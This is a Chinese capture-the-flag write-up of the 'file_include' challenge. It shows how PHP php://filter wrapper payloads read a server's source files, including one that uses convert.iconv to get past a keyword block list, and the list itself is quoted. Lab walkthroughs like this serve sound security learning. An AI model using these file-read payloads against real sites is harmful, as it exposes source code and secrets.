姿势
题目描述:怎么读取文件呢?
思路: 由代码审计可知,可通过filename参数构造POC,来读取check.php
POC的构造涉及PHP伪协议,参考链接:文件包含 | PHP伪协议实战
POC:
?filename=php://filter/read=convert.base64-encode/resource=check.php
回显如下:
猜测关键字被过滤,怎么办呢?
该题涉及到 convert转换过滤器
常见的convert转换过滤器有这两种:
convert.iconv.<input-encoding>.<output-encoding>
、
convert.quoted-printable-encode
对于第一种,即
convert.iconv.<input-encoding>.<output-encoding>
来说,它通过 PHP 的 iconv 扩展实现,该扩展可以帮助将输入数据从指定的字符编码(
<input-encoding>
)转换为另一个字符编码(
<output-encoding>
)
其中input-encoding、output-encoding支持的编码格式为:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML)
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949)
ISO-2022-KR
Windows-1251(别名:CP1251)
Windows-1252(别名:CP1252)
CP866(别名:IBM866)
KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8)
对于本题,将初始POC
?filename=php://filter/read=convert.base64-encode/resource=check.php
修改为
?filename=php://filter/convert.iconv.UTF-8.UTF-16/resource=check.php
回显如下:
该代码使用了正则表达式来匹配指定的字符串,如果输入中包含了
/base|be|encode|print|zlib|quoted|write|rot13|read|string/i
中的任何一个字符串,就会输出 “do not hack!” 并关闭脚本。
<?phpif($_GET["filename"])// 检查输入内容{$preg_match_username='return
preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'// 匹配字符串;if(eval($preg_match_username))// 执行匹配,如果输入含有上述字符串{die("do not hack!");// 关闭脚本,并输出 "do not hack!"}}
也就是说我们修改POC之后得到的check.php中的内容其实是逻辑判断代码,与flag无关
故猜想flag在flag.php中,修改POC即可得到flag
总结
以上为[CTF/网络安全] 攻防世界 file_include 解题详析,考察php伪协议和convert转换过滤器相关知识点,读者可躬身实践。
我是秋说,我们下次见。
版权归原作者 秋说 所有, 如有侵权,请联系我们删除。